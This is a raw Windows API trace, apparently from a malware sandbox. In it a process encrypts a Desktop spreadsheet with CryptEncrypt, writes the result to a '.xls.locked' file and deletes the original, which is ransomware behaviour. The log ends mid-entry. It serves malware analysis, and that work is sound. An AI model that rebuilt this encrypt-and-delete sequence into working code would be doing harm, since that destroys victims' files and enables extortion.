[0126.425] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.426] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.426] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.427] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.427] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.427] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xad, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.427] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0126.427] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0126.428] GetFileType (hFile=0x874) returned 0x1 [0126.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0126.428] GetFileType (hFile=0x874) returned 0x1 [0126.428] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.428] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe67c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0126.428] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.428] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xae, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.428] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked", lpFilePart=0x0) returned 0x51 [0126.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0126.428] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x878 [0126.429] GetFileType (hFile=0x878) returned 0x1 [0126.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0126.429] GetFileType (hFile=0x878) returned 0x1 [0126.429] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.429] CryptGenRandom (in: hProv=0x8e03460, dwLen=0x10, pbBuffer=0x69a45bc | out: pbBuffer=0x69a45bc) returned 1 [0126.429] CryptContextAddRef (hProv=0x8e03460, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.429] CryptDuplicateKey (in: hKey=0x8e84d78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae9f8 | out: phKey=0x99ae9f8*=0x8e84ab8) returned 1 [0126.429] CryptContextAddRef (hProv=0x8e03460, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.429] CryptSetKeyParam (hKey=0x8e84ab8, dwParam=0x4, pbData=0x69a59a4*=0x1, dwFlags=0x0) returned 1 [0126.429] CryptSetKeyParam (hKey=0x8e84ab8, dwParam=0x1, pbData=0x69a5970, dwFlags=0x0) returned 1 [0126.429] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\xee43\xbd77\x130f\x1c63\x112f\xf0f1\xdde\xb55d\xcd98\xcf99\xf2b2\xfcb9\xb804\xe158\xaee9\x5444\x6361\x3935\x3031\x6461\x6538\x3332\x6334\x3261\xe0") returned 0x0 [0126.429] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.429] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaf, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.429] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.430] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.430] ReadFile (in: hFile=0x874, lpBuffer=0x69a8f2c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x69a8f2c*, lpNumberOfBytesRead=0x99ae9fc*=0xd574, lpOverlapped=0x0) returned 1 [0126.430] CryptEncrypt (in: hKey=0x8e84ab8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69bcf38*, pdwDataLen=0x99ae9f0*=0xd570, dwBufLen=0xd570 | out: pbData=0x69bcf38*, pdwDataLen=0x99ae9f0*=0xd570) returned 1 [0126.431] WriteFile (in: hFile=0x878, lpBuffer=0x69a46e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x69a46e0*, lpNumberOfBytesWritten=0x99ae9d4*=0x1000, lpOverlapped=0x0) returned 1 [0126.431] WriteFile (in: hFile=0x878, lpBuffer=0x69bdf24*, nNumberOfBytesToWrite=0xc584, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x69bdf24*, lpNumberOfBytesWritten=0x99ae9d4*=0xc584, lpOverlapped=0x0) returned 1 [0126.432] ReadFile (in: hFile=0x874, lpBuffer=0x69a8f2c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x69a8f2c*, lpNumberOfBytesRead=0x99ae9fc*=0x0, lpOverlapped=0x0) returned 1 [0126.432] CryptEncrypt (in: hKey=0x8e84ab8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69ca530*, pdwDataLen=0x99aea50*=0x10, dwBufLen=0x10 | out: pbData=0x69ca530*, pdwDataLen=0x99aea50*=0x10) returned 1 [0126.432] CryptEncrypt (in: hKey=0x8e84ab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69ca564*, pdwDataLen=0x99aea58*=0x0, dwBufLen=0x10 | out: pbData=0x69ca564*, pdwDataLen=0x99aea58*=0x10) returned 1 [0126.432] WriteFile (in: hFile=0x878, lpBuffer=0x69a46e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99aea28, lpOverlapped=0x0 | out: lpBuffer=0x69a46e0*, lpNumberOfBytesWritten=0x99aea28*=0x10, lpOverlapped=0x0) returned 1 [0126.432] CloseHandle (hObject=0x878) returned 1 [0126.435] CloseHandle (hObject=0x874) returned 1 [0126.435] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.435] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.435] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.435] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.435] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.436] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls")) returned 0x20 [0126.437] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.437] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0126.437] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0126.437] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0126.437] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0126.437] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0126.437] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0126.437] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0126.437] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0126.437] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0126.437] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0126.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0126.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0126.438] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0126.438] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0126.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0126.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0126.438] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0126.438] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0126.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0126.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0126.445] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls")) returned 0x20 [0126.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.446] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae254, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae714) returned 1 [0126.446] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae21c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.446] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls\\", nBufferLength=0x105, lpBuffer=0x99ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls\\", lpFilePart=0x0) returned 0x4b [0126.446] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls\\*", lpFindFileData=0x99ae43c | out: lpFindFileData=0x99ae43c) returned 0xffffffff [0126.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0126.446] CoTaskMemAlloc (cb=0x404) returned 0x438c200 [0126.446] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x438c200, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0126.446] CoTaskMemFree (pv=0x438c200) [0126.447] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls")) returned 0x20 [0126.447] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.447] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0126.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae638) returned 1 [0126.447] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls"), fInfoLevelId=0x0, lpFileInformation=0x69e17cc | out: lpFileInformation=0x69e17cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97c753e0, ftCreationTime.dwHighDateTime=0x1d4a54b, ftLastAccessTime.dwLowDateTime=0x726cfe00, ftLastAccessTime.dwHighDateTime=0x1d4a8cb, ftLastWriteTime.dwLowDateTime=0x726cfe00, ftLastWriteTime.dwHighDateTime=0x1d4a8cb, nFileSizeHigh=0x0, nFileSizeLow=0xd574)) returned 1 [0126.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae634) returned 1 [0126.448] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls")) returned 1 [0126.451] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.451] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.451] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, 